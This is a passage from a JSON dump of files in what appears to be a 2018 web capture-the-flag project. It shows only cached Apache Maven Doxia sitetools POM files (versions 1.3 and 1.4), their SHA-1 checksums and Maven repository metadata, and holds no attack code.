<locale>nl</locale>\n                <locale>pl</locale>\n                <locale>pt_BR</locale>\n                <locale>sv</locale>\n                <locale>zh_CN</locale>\n              </locales>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-site-renderer/1.4/doxia-site-renderer-1.4.pom.sha1",
    "content": "467421ba1c1e1a64e5f201e72c777e5d97abf52d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:11 CST 2018\ndoxia-sitetools-1.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.3/doxia-sitetools-1.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>21</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.doxia</groupId>\n  <artifactId>doxia-sitetools</artifactId>\n  <version>1.3</version>\n  <packaging>pom</packaging>\n\n  <name>Doxia Sitetools</name>\n  <description>Doxia Sitetools generates sites, consisting of static and dynamic content that was generated by Doxia.</description>\n  <url>http://maven.apache.org/doxia/doxia-sitetools/</url>\n  <inceptionYear>2005</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://oldnabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Developer List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-dev@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---dev-f11816.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia User List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-users@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---Users-f14483.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Commits List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-commits@maven.apache.org</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announces</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <prerequisites>\n    <maven>2.0.4</maven>\n  </prerequisites>\n\n  <modules>\n    <module>doxia-decoration-model</module>\n    <module>doxia-doc-renderer</module>\n    <module>doxia-site-renderer</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.3</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.3</developerConnection>\n    <url>http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.3</url>\n  </scm>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIASITETOOLS</url>\n  </issueManagement>\n\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/doxia-sitetools/</url>\n  </ciManagement>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/doxia/doxia-sitetools</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <projectVersion>${project.version}</projectVersion>\n    <doxiaVersion>1.3</doxiaVersion>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <!-- doxia -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-logging-api</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-sink-api</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-apt</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-confluence</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-docbook-simple</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-fml</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xdoc</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xhtml</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-decoration-model</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-30</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-i18n</artifactId>\n        <version>1.0-beta-7</version>\n        <exclusions>\n          <exclusion>\n            <groupId>org.codehaus.plexus</groupId>\n            <artifactId>plexus-component-api</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>2.0.5</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <resource>\n        <directory>${project.build.directory}/generated-site/xsd</directory>\n        <includes>\n          <include>**/*.xsd</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags</tagBase>\n          </configuration>\n        </plugin>\n        <!-- TODO need to upgrade to last version or Maven parent version -->\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <configuration>\n            <comparisonVersion>1.1</comparisonVersion>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <stagingSiteURL>scp://people.apache.org/www/maven.apache.org/doxia/doxia-sitetools-${project.version}</stagingSiteURL>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>verify</phase>\n            <goals>\n              <goal>check</goal>\n            </goals>\n            <configuration>\n              <excludes>\n                <exclude>org/apache/maven/doxia/site/decoration/*</exclude>\n              </excludes>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>2.6</version>\n            <inherited>false</inherited>\n            <configuration>\n              <columnNames>Type,Key,Summary,Resolution,Assignee</columnNames>\n              <maxEntries>1000</maxEntries>\n              <onlyCurrentVersion>true</onlyCurrentVersion>\n              <sortColumnNames>Key</sortColumnNames>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>jira-report</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>jxr</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.8</version>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>javadoc</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.3/doxia-sitetools-1.3.pom.sha1",
    "content": "3564c1392c7dee9b6b99015fcc96813206266570"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:02 CST 2018\ndoxia-sitetools-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia-sitetools/1.4/doxia-sitetools-1.4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>23</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.doxia</groupId>\n  <artifactId>doxia-sitetools</artifactId>\n  <version>1.4</version>\n  <packaging>pom</packaging>\n\n  <name>Doxia :: Sitetools</name>\n  <description>Doxia Sitetools generates sites, consisting of static and dynamic content that was generated by Doxia.</description>\n  <url>http://maven.apache.org/doxia/doxia-sitetools/</url>\n  <inceptionYear>2005</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://oldnabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Developer List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-dev@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---dev-f11816.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia User List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-users@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---Users-f14483.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Old Doxia Commits List (closed)</name>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-commits@maven.apache.org</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.doxia-commits</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.issues</otherArchive>\n      </otherArchives>\n    </mailingList>\n\n    <!-- duplication from parent pom - temporary until they inherit properly -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announces</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <prerequisites>\n    <maven>2.0.4</maven>\n  </prerequisites>\n\n  <modules>\n    <module>doxia-decoration-model</module>\n    <module>doxia-doc-renderer</module>\n    <module>doxia-site-renderer</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.4</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.4</developerConnection>\n    <url>http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia-sitetools/tags/doxia-sitetools-1.4</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIASITETOOLS</url>\n  </issueManagement>\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/job/doxia-sitetools/</url>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven-doxia/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <doxiaVersion>1.4</doxiaVersion>\n    <maven.site.path>doxia-sitetools-archives/doxia-sitetools-LATEST</maven.site.path>\n  </properties>\n\n  <contributors>\n    <contributor>\n      <name>Michael Osipov</name>\n    </contributor>\n  </contributors>\n\n  <dependencyManagement>\n    <dependencies>\n      <!-- doxia -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-logging-api</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-sink-api</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-apt</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-confluence</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-docbook-simple</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-fml</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xdoc</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xhtml</artifactId>\n        <version>${doxiaVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-decoration-model</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-30</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-i18n</artifactId>\n        <version>1.0-beta-7</version>\n        <exclusions>\n          <exclusion>\n            <groupId>org.codehaus.plexus</groupId>\n            <artifactId>plexus-component-api</artifactId>\n          </exclusion>\n        </exclusions>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>3.0.10</version>\n      </dependency>\n      <dependency><!-- remove when upgrading parent to version 22 -->\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <resource>\n        <directory>${project.build.directory}/generated-site/xsd</directory>\n        <includes>\n          <include>**/*.xsd</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/doxia/doxia-sitetools/tags</tagBase>\n            <autoVersionSubmodules>true</autoVersionSubmodules>\n          </configuration>\n        </plugin>\n        <!-- TODO need to upgrade to last version or Maven parent version -->\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <configuration>\n            <comparisonVersion>1.1</comparisonVersion>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <configuration>\n            <content>${project.build.directory}/staging</content>\n            <checkoutDirectory>${maven.site.cache}/doxia/${maven.site.path}</checkoutDirectory>\n            <tryUpdate>true</tryUpdate>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>verify</phase>\n            <goals>\n              <goal>check</goal>\n            </goals>\n            <configuration>\n              <excludes>\n                <exclude>org/apache/maven/doxia/site/decoration/*</exclude>\n              </excludes>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>2.6</version>\n            <inherited>false</inherited>\n            <configuration>\n              <columnNames>Type,Key,Summary,Resolution,Assignee</columnNames>\n              <maxEntries>1000</maxEntries>\n              <onlyCurrentVersion>true</onlyCurrentVersion>\n              <sortColumnNames>Key</sortColumnNames>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>jira-report</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n            <reportSets>\n              <reportSet>\n                <id>non-aggregate</id>\n                <reports>\n                  <report>jxr</report>\n                </reports>\n              </reportSet>\n              <reportSet>\n                <id>aggregate</id>\n                <reports>\n                  <report>aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.8</version>\n            <configuration>\n              <groups>\n                <group>\n                  <title>Doxia Document Renderer</title>\n                  <packages>org.apache.maven.doxia.docrenderer*</packages>\n                </group>\n                <group>\n                  <title>Doxia Site Renderer</title>\n                  <packages>org.apache.maven.doxia.siterenderer*</packages>\n                </group>\n                <group>\n                  <title>Doxia Decoration Model</title>\n                  <packages>org.apache.maven.doxia.site.decoration*</packages>\n                </group>\n              </groups>\n            